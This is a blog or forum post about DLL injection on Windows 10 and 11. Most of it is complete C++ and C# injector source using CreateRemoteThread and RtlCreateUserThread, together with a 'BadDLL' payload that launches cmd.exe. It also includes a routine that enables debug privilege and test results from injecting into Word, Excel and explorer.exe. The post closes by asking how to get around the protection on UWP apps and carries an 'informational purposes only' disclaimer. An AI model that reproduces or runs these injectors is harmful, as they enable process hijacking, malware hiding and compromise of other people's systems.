Dear all good day!
I would like to share with you some thoughts on a project that I am currently working, that is about DLL Injection on Windows 10 and Windows 11.
But first, please allow me to note that the code and information that I will share is not something new and also, I have also share similar questions to other forums…
I note this, to prevent someone to “blame” me that I just Copy/Paste some other’s question…
So, everything I publish here is from my testing on my VM testing lab.
Let’s start:
There is lot of published source code and diff methods on how to perform a DLL Injection in Windows.
I just follow these guidelines:
1. In order, for a successful attack in a 64-bit architecture, the source code is compiled as ‘x64’ bit architecture.
2. I used Visual Studio 2019 and C++ for creating the test apps.
3. I use two methods for applying the DLL injection:
3.1. Method 1: Using the API function: CreateRemoteThread (https://learn.micros…ateremotethread)
3.2. Method 2: Using the API (undocumented) function: RtlCreateUserThread (http://undocumented….UserThread.html)
DLL in C++
The DLL source code (the one that will inject the target process) is the following:
//
// BadDLL.cpp -> BadDLL.DLL
//
#include "pch.h"
#include<stdio.h>
#include <windows.h>
#include <commctrl.h>
char recerseshell[] = "";
BOOL WINAPI DllMain(HANDLE hinstance, DWORD dwReason, LPVOID lpReserved)
{
switch (dwReason)
{
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
case DLL_PROCESS_ATTACH:
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
if (!CreateProcess(
TEXT("C:\\Windows\\System32\\cmd.exe"),
NULL,
NULL,
NULL,
FALSE,
NORMAL_PRIORITY_CLASS | CREATE_NEW_CONSOLE | CREATE_NEW_PROCESS_GROUP,
NULL,
NULL,
&si,
&pi)
)
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
break;
}
}
```
As you can see, when the Attach Process event is triggered (a.k.a. we have a successful DLL injection) the cmd.exe app is executed. The DLL Injector in C++ Now, let's go to the DLL Injector itself source code, in CPP:
// DllInjectionTest.cpp
// Tested on: Windows 11
// platform x64
// Develpment on C++ VS 2019
//
// Tip: on 64bit box Compile on 64bit archiecture!
//
////////////////////////////////////
#include <iostream>
#include <cstdio>
#include <windows.h>
#include <tlhelp32.h>
#include <tchar.h>
#include <TlHelp32.h>
#define NT_SUCCESS(x) ((x) >= 0)
typedef struct _CLIENT_ID {
HANDLE UniqueProcess;
HANDLE UniqueThread;
} CLIENT_ID, * PCLIENT_ID;
typedef NTSTATUS(NTAPI* pfnRtlCreateUserThread)(
IN HANDLE ProcessHandle,
IN PSECURITY_DESCRIPTOR SecurityDescriptor OPTIONAL,
IN BOOLEAN CreateSuspended,
IN ULONG StackZeroBits OPTIONAL,
IN SIZE_T StackReserve OPTIONAL,
IN SIZE_T StackCommit OPTIONAL,
IN PTHREAD_START_ROUTINE StartAddress,
IN PVOID Parameter OPTIONAL,
OUT PHANDLE ThreadHandle OPTIONAL,
OUT PCLIENT_ID ClientId OPTIONAL);
typedef NTSTATUS(WINAPI* LPFUN_NtCreateThreadEx)
(
OUT PHANDLE hThread,
IN ACCESS_MASK DesiredAccess,
IN LPVOID ObjectAttributes,
IN HANDLE ProcessHandle,
IN LPTHREAD_START_ROUTINE lpStartAddress,
IN LPVOID lpParameter,
IN BOOL CreateSuspended,
IN ULONG StackZeroBits,
IN ULONG SizeOfStackCommit,
IN ULONG SizeOfStackReserve,
OUT LPVOID lpBytesBuffer
);
//Buffer argument passed to NtCreateThreadEx function
struct NtCreateThreadExBuffer
{
ULONG Size;
ULONG Unknown1;
ULONG Unknown2;
PULONG Unknown3;
ULONG Unknown4;
ULONG Unknown5;
ULONG Unknown6;
PULONG Unknown7;
ULONG Unknown8;
};
#define CREATE_THREAD_ACCESS (PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ)
BOOL DllInject_1(UINT32 ProcessId, char *DLL_NAME)
{
LPVOID LoadLibAddr, RemoteString;
HANDLE hThread;
DWORD dwWaitResult, dwExitResult = 0;
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId);
if (hProcess == NULL)
{
std::cout << "Cannot get the Process ID " << ProcessId;
return (0);
}
Sleep(2000);
LoadLibAddr = (LPVOID)GetProcAddress(GetModuleHandle(_T("kernel32.dll")), "LoadLibraryA");
if (LoadLibAddr == NULL)
{
return (0);
}
//Allocates a buffer for and writes the path to the DLL we want to inject inside of the target process's memory
RemoteString = (LPVOID)VirtualAllocEx(hProcess, NULL, strlen(DLL_NAME)+1, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
if (RemoteString == NULL)
{
return (0);
}
if (!WriteProcessMemory(hProcess, (LPVOID)RemoteString, DLL_NAME, strlen(DLL_NAME)+1, NULL))
{
return (0);
}
//Calls LoadLibrary on our specified DLL in the target process
hThread = CreateRemoteThread(
hProcess,
NULL,
NULL,
(LPTHREAD_START_ROUTINE)LoadLibAddr,
(LPVOID)RemoteString,
NULL,
NULL
);
if (hThread != NULL) {
dwWaitResult = WaitForSingleObject(hThread, 10000); // keep the dll injection action for 10 seconds before free.
GetExitCodeThread(hThread, &dwExitResult);
CloseHandle(hThread);
VirtualFreeEx(hProcess, RemoteString, 0, MEM_RELEASE);
return (1);
}
return (0);
}
BOOL DllInject_2(UINT32 ProcessId, char* DLL_NAME)
{
HANDLE ProcessHandle = NULL;
ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId);
UINT32 DllFullPathLength = (strlen(DLL_NAME));
PVOID DllFullPathBufferData = VirtualAllocEx(ProcessHandle, NULL, DllFullPathLength, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (DllFullPathBufferData == NULL)
{
CloseHandle(ProcessHandle);
return FALSE;
}
SIZE_T ReturnLength;
BOOL bOk = WriteProcessMemory(ProcessHandle, DllFullPathBufferData, DLL_NAME, strlen(DLL_NAME), &ReturnLength);
LPTHREAD_START_ROUTINE LoadLibraryAddress = NULL;
HMODULE Kernel32Module = GetModuleHandle(L"Kernel32");
LoadLibraryAddress = (LPTHREAD_START_ROUTINE)GetProcAddress(Kernel32Module, "LoadLibraryA");
pfnRtlCreateUserThread RtlCreateUserThread = (pfnRtlCreateUserThread)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "RtlCreateUserThread");
HANDLE ThreadHandle = NULL;
NTSTATUS Status = RtlCreateUserThread(ProcessHandle, NULL, FALSE, 0, 0, 0, LoadLibraryAddress, DllFullPathBufferData, &ThreadHandle, NULL);
if (ThreadHandle == NULL)
{
CloseHandle(ProcessHandle);
return FALSE;
}
if (!NT_SUCCESS(Status))
{
CloseHandle(ProcessHandle);
return FALSE;
}
if (WaitForSingleObject(ThreadHandle, INFINITE) == WAIT_FAILED)
{
return FALSE;
}
CloseHandle(ProcessHandle);
CloseHandle(ThreadHandle);
return TRUE;
}
int EnableSeDebugPrivilege(void) {
HANDLE hToken;
LUID Val;
TOKEN_PRIVILEGES tp;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
return(GetLastError());
if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &Val))
return(GetLastError());
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = Val;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL))
return(GetLastError());
CloseHandle(hToken);
return 1;
}
int main(int argc, char *argv[])
{
DWORD dwTargetProcessID = 0;
char DLL_NAME[512] = "";
int iMethod = 0;
if (argc == 4)
{
iMethod = atoi(argv[1]);
if ((iMethod < 1) || (iMethod > 2))
{
std::cout << "** Arg(1) must be 1 or 2.";
return (-1);
}
strcpy_s(DLL_NAME, argv[2]);
dwTargetProcessID = atoi(argv[3]);
}
else
{
std::cout << "** Usage: <1 | 2> <Full_DLL_Path_and_Filename> <ProcessID> ";
std::cout << "** Arg(1) is the method will be used for DLL injection.";
return -1;
}
std::cout << "DLL Injection Test \n";
if (EnableSeDebugPrivilege() == 1)
std::cout << "[+] Get All Privilege [ok!].\n";
else
std::cout << "[-]Cannot Get All Privilege.\n";
std::cout << "[+] Try to inject...";
/// //// ---------------------------------------------------------------------
DWORD CurrentSessionID, RemoteSessionID, RemoteProcessID;
if (!ProcessIdToSessionId(GetCurrentProcessId(), &CurrentSessionID))
{
std::cout << "\nFailed to get the current session with error" << GetLastError() ;
return -1;
}
if (!ProcessIdToSessionId(dwTargetProcessID, &RemoteSessionID))
{
std::cout << "\nFailed to get the remote session with error" << GetLastError() ;
return -2;
}
BOOLEAN bResult = false;
(iMethod == 1) ? (bResult = DllInject_1(dwTargetProcessID, DLL_NAME)) : (bResult = DllInject_2(dwTargetProcessID, DLL_NAME));
if (bResult)
{
std::cout << "\nSUCCESSFUL!\n";
}
else
{
std::cout << "\nFailed!\n";
return -3;
}
return 1;
}
```
My goal is to run the 'DllInjectionTest.exe' that will try to inject a process (its ID is passed as command line argument) using the above DLL (its full path is passed as command line argument) and when the injection succeeds i must see a command prompt window as a result.
In addition I pass as a command line parameter the method of injection I would like to use (1 or 2)
Lets see an example of a successful execution.
The target process is the Microsoft Word.
Supposing that its process ID is 21076:

So, I run from command line:DllInjectionTest.exe 1 "\work\DLLInjection\BadDLL\x64\Debug\BadDLL.dll" 21076
…and I see a successful injection:

The DLL Injector in C#
I also write the DLL Injector in C Sharp (for .Net lovers)…
The source code below implements only the method #1, i.e. CreateRemoteThread.
“`
//
// DllInjectionTest.cs
//
/////////////////////
using System;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;
using System.Text;
namespace DLLInjectionTestCS
{
class Program
{
[DllImport("kernel32.dll")]
public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
[DllImport("kernel32.dll", CharSet = CharSet.Auto)]
public static extern IntPtr GetModuleHandle(string lpModuleName);
[DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress,
uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess,
IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
// privileges for OpenProcess
const int PROCESS_CREATE_THREAD = 0x0002;
const int PROCESS_QUERY_INFORMATION = 0x0400;
const int PROCESS_VM_OPERATION = 0x0008;
const int PROCESS_VM_WRITE = 0x0020;
const int PROCESS_VM_READ = 0x0010;
// used for VirtualAllocEx
const uint MEM_COMMIT = 0x00001000;
const uint MEM_RESERVE = 0x00002000;
const uint PAGE_READWRITE = 4;
static int Main()
{
Process targetProcess = Process.GetProcessById(20072); // You just enter the process ID, manually.
//Process targetProcess = Process.GetProcessById(12428); // You just enter the process ID, manually.
string myBadDLL = "\\work\\DLLInjection\\BadDLL\\x64\\Debug\\BadDLL.dll"; //x64
//string myBadDLL = "\\work\\DLLInjection\\BadDLL\\Debug\\BadDLL.dll"; //x32
if (!(File.Exists(myBadDLL)))
return -1;
IntPtr procHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, targetProcess.Id);
IntPtr loadLibraryAddr = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
IntPtr allocMemAddress = VirtualAllocEx(procHandle, IntPtr.Zero, (uint)((myBadDLL.Length + 1) * Marshal.SizeOf(typeof(char))), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
UIntPtr bytesWritten;
WriteProcessMemory(procHandle, allocMemAddress, Encoding.Default.GetBytes(myBadDLL), (uint)((myBadDLL.Length + 1) * Marshal.SizeOf(typeof(char))), out bytesWritten);
CreateRemoteThread(procHandle, IntPtr.Zero, 0, loadLibraryAddr, allocMemAddress, 0, IntPtr.Zero);
return 0;
}
}
}
```
FINDINGS
My tests scenarios and the results was:
1. Target on WINWORD (MS Word) process : Success in both Win10 & Win11.
2. Target on MSEXCEL process: Success in both Win10 & Win11.
3. Target on TOTALCMD64.EXE (the Total Commander app) process: Success in both Win10 & Win11.
4. Target on explorer.exe process: Success in both Win10 & Win11.
5. Target on notepad.exe (Windows Notepad) process: Success in Win10 & Fails in Win11 with no error!
6. Target on CalculatorApp.exe (Windows Calculator) process: Fails in both Win10 & Win11 with no error!
I repeat every test using:
a ) The C++ injector using method #1:CreateRemoteThread
b ) The C++ injector using method #2: RtlCreateUserThread
c ) The C# injector (that is actually the same as (a).
I also used the shareware app RemoteDLL (from https://securityxploded.com/remotedll.php) that is an application specially for DLL injection.
I got the same / analogous results.
What I saw is that the apps that I cannot inject are UWP apps:
They may be located in System32 path, but when I execute them I see a different image path (the WindowsApps path) in the Task Manager, as you can see in the following image (for the Calculator app) on my Windows 10 box.
I found the following apps to run as UWP apps:
- In windows 11: the Calculator & Notepad and
- In windows10: The Calculator only.
Thus, my code and the RemoteDLL app cannot inject applications that are UWP (Universal Windows Platform)!
And the QUESTION
Does anyone came accross of such a situation?
If YES, do you have any work around about how to inject UWP (Universal Windows Platform) applications. I believe it is possible, but I am affraid that I miss the correct API function or the correct method (in general).
THE NOTE This article is for informational purposes only. We do not encourage you to commit any hacking. Everything you do is your responsibility.
TOX : 340EF1DCEEC5B395B9B45963F945C00238ADDEAC87C117F64F46206911474C61981D96420B72
Telegram : @DevSecAS
More from Uncategorized
Fortinet FortiOS / FortiProxy Unauthorized RCE
CVE-2024-21762 is a buffer overflow write vulnerability in Fortinet Fortigate and FortiProxy. This vulnerability allows an unauthorized attacker to execute …
Active Directory Dumper 2
We check the architecture for strength – an attempt to cram in the unintelligible – we fasten the network resource …
Active Directory Dumper
The purpose of this article is to show the use of the principles of building an application architecture. 1.1.1 What we …